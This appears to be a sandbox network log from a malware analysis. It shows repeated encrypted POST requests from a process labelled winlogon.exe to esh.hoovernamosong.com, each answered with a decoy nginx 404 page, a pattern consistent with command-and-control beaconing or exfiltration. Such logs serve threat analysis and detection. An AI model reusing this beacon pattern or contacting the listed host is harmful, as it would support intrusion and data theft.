2024-11-28 12:22:16 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49721	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:21 UTC	386	OUT	POST /00000000006C533300000000006C5333 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 87 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:21 UTC	87	OUT	Data Raw: 21 4d cd 29 b4 4e 07 3e 4e 24 9c 86 4b 40 f4 da 92 52 e3 2e 58 77 58 c7 6c ba bf 61 ef 23 64 3e 9c b9 bc 1d 86 9b 18 11 71 c9 be 01 12 d6 b9 61 b4 24 63 f9 c6 04 82 6d b9 ed cb 62 4e 3b 10 12 b2 e3 07 32 52 0e 75 1c d4 ad 36 ab a9 77 12 2c 7a 69 de 2d 11 14 e6 Data Ascii: !M)N>N$K@R.XwXla#d>qa$cmbN;2Ru6w,zi-
2024-11-28 12:22:22 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:22 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:22 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49723	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:27 UTC	386	OUT	POST /00000000006D7A0F00000000006D7A0F HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 95 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:27 UTC	95	OUT	Data Raw: 5a 55 93 fc 99 bc 88 bf 8f 2d ba 39 79 cf f3 0f 7d c4 2c 86 4d 87 f6 ad 9d c5 c1 ac ea a5 ca 24 12 ad a1 4b 47 c1 d8 4e 3f 67 af 85 47 55 7d d9 16 ed d5 d3 2c ba 59 7c 48 f3 31 bd 11 7f 8e 84 31 7d 4a d6 98 0a 1c 71 c6 8f 86 b5 da 89 4d 45 c5 3b ec 54 b1 01 74 7b da c0 ce d8 d2 d4 6c Data Ascii: ZU-9y},M$KGN?gGU},Y\|H11}JqME;Tt{l
2024-11-28 12:22:28 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:27 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:28 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49726	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:33 UTC	387	OUT	POST /00000000006FDB1200000000006FDB12 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 143 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:33 UTC	143	OUT	Data Raw: d2 9a 0d 00 0f f0 c4 d1 60 f3 f1 dc 34 8e c6 dc b1 e6 b6 ee e6 15 2e 29 58 17 e7 b4 9f 46 1d fc 75 f6 c0 79 36 89 f4 28 a0 a4 3e 86 1f a3 25 c5 e2 4b 33 a4 2b 41 b6 9f b1 fc 2f ef d0 be 76 d0 b4 9e b8 4b 17 e3 dd c1 37 67 b3 c4 f0 f9 95 86 11 69 e6 73 fe a9 f9 79 86 0c 63 ea 22 88 23 4c 56 71 da a6 4b 6a aa 1b 84 8a f6 fc 5c 4f 6a ea e5 a2 72 eb ea 61 4a ec 0f 05 94 3c 2b 2a 13 a8 b5 74 c7 dd bb 79 3d 9a 67 bd 42 d9 67 a7 03 Data Ascii: `4.)XFuy6(>%K3+A/vK7gisyc"#LVqKj\OjraJ<+*ty=gBg
2024-11-28 12:22:34 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:34 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:34 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49729	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:39 UTC	386	OUT	POST /00000000007067B200000000007067B2 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 87 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:39 UTC	87	OUT	Data Raw: be 4d f5 a0 ce 56 a8 f6 8c 2c 4e a8 2b fb c4 74 23 63 70 32 04 a2 13 4e 5b 96 38 bf 6e f1 bd 6d b0 fe 29 44 e3 ac 45 5b c2 8e 65 74 d8 07 02 ee 03 1a 45 0f a8 86 e1 48 86 f4 f4 72 97 c2 22 54 52 66 09 c1 67 02 28 0e fd 5e aa 94 8b 7d 2d f9 8e bb b2 df cc 5b 23 Data Ascii: MV,N+t#cp2N[8nm)DE[etEHr"TRfg(^}-[#
2024-11-28 12:22:40 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:40 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:40 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49732	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:45 UTC	387	OUT	POST /0000000000722A900000000000722A90 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 105 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:45 UTC	105	OUT	Data Raw: c3 62 d5 bf 25 6c 7c 95 76 6c 12 a9 51 0f 6e 6e 74 4c f3 92 0b dd b9 f1 cb 33 c0 3d c3 41 a4 4c bb 41 82 30 35 bf 28 46 29 5b 79 3c 2d 82 bb 39 59 74 31 8f 7e 02 dc 3e 74 d1 1c 57 a1 c8 e6 9d c4 79 03 7e 2a 94 45 cf 50 a9 a6 dc fc 5b 42 70 a6 97 d4 16 20 ed f7 dc 5a b6 8f 27 14 38 5f 35 1d 5d 77 98 35 cc 75 28 dd Data Ascii: b%l\|vlQnntL3=ALA05(F)[y<-9Yt1~>tWy~*EP[Bp Z'8_5]w5u(
2024-11-28 12:22:45 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:45 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:45 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49735	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:50 UTC	386	OUT	POST /000000000072B607000000000072B607 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 52 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:50 UTC	52	OUT	Data Raw: 6f 25 f8 6a c7 bb 31 87 a6 5a 28 92 7a d1 1a d0 a1 fa ca 93 97 f9 bf f0 9f 71 78 c7 ca 20 2c aa b3 24 55 0a c2 e8 2a 38 13 b7 79 82 ba bc 43 d5 37 12 25 9e Data Ascii: o%j1Z(zqx ,$U*8yC7%
2024-11-28 12:22:51 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:51 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:51 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49737	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:56 UTC	387	OUT	POST /0000000000742A380000000000742A38 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 147 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:56 UTC	147	OUT	Data Raw: 60 89 32 03 79 3d d3 41 f9 64 f8 39 45 55 34 87 f4 32 01 a2 64 a3 18 01 f6 18 80 ec 9d cf a4 91 a7 f7 76 56 9b 4f 54 71 b2 49 01 17 af df 82 15 70 56 21 88 a2 2d d6 ee 9c f9 8b 6e 05 90 b4 02 d2 e5 c6 7d a8 5c 38 0e 93 c0 1d 79 e4 3b df 73 e0 81 d4 54 45 a4 08 7d 35 e9 f1 e8 72 ab df 89 b9 dc c1 c8 23 54 f2 92 ce b4 dd 14 6d f6 6b 69 b4 d1 ec ba a9 1e ed d1 d5 26 60 6c 4c c9 d9 b0 7c d6 a3 b8 a0 e3 ad 7b 15 be 7d f4 e5 60 3d 84 dc 7b 72 Data Ascii: `2y=Ad9EU42dvVOTqIpV!-n}\8y;sTE}5r#Tmki&`lL\|{}`={r
2024-11-28 12:22:57 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:56 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:57 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49740	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:02 UTC	386	OUT	POST /00000000007467CE00000000007467CE HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 48 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:02 UTC	48	OUT	Data Raw: f2 20 37 5c 3e 6c 04 68 7b 30 76 9b 31 d8 41 d2 67 b2 72 a9 32 6f 3f 61 5f 6a 12 10 7b 71 aa e9 fd ef 67 4f 92 b7 2c 7d 2b 60 02 48 c1 43 b7 fb Data Ascii: 7\>lh{0v1Agr2o?a_j{qgO,}+`HC
2024-11-28 12:23:02 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:02 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:02 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49742	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:07 UTC	387	OUT	POST /000000000075401D000000000075401D HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 113 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:07 UTC	113	OUT	Data Raw: 18 6a b7 0e 21 f4 3b 0a 22 9b dc be d4 5c 97 04 41 44 c2 35 a0 61 7a 89 53 32 30 1f ec 21 64 bf 03 0d 8c 64 2f 25 1a 2f 7a 73 d8 96 5a 42 11 0b c5 39 e5 07 90 2c a4 21 27 74 81 87 44 f2 57 0f d4 fb 1d bd 37 82 c8 d5 b5 19 c6 7e 87 74 4b e4 d4 49 09 99 1a 55 e3 df 23 51 e9 01 aa 61 ab da 81 b1 ea ee 80 c6 89 e6 08 3f 80 8d 67 6b ed f4 6d Data Ascii: j!;"\AD5azS20!dd/%/zsZB9,!'tDW7~tKIU#Qa?gkm
2024-11-28 12:23:08 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:08 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:08 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49744	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:13 UTC	387	OUT	POST /000000000075550C000000000075550C HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 101 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:13 UTC	101	OUT	Data Raw: 30 dc f5 e2 90 0d d8 f9 f4 8a 8b f7 e7 86 34 47 81 b3 10 d6 11 b5 ac 5b b6 2e 42 33 61 0b 3e 08 59 d8 f8 35 e2 f9 dc e0 1b 53 45 fc 8c d1 47 22 04 73 da f7 78 80 b8 ca af dd 39 52 c7 e2 54 84 b3 93 28 fd 0e 6a 5c c1 93 4e 2a b6 69 8d 21 b2 dc 89 0a 1b fa 56 23 6a b6 ae b6 2c f5 81 d4 e4 81 93 9a 71 06 Data Ascii: 04G[.B3a>Y5SEG"sx9RT(j\N*i!V#j,q
